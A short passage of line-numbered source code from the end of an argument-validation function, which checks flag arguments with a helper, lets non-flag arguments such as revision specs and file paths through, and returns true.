1882 if (!validateFlagArgument(argValue, flagArgType)) { 1883 return false 1884 } 1885 } 1886 } else { 1887 // Non-flag argument (like revision specs, file paths, etc.) - this is allowed 1888 i++ 1889 } 1890 } 1891 1892 return true 1893}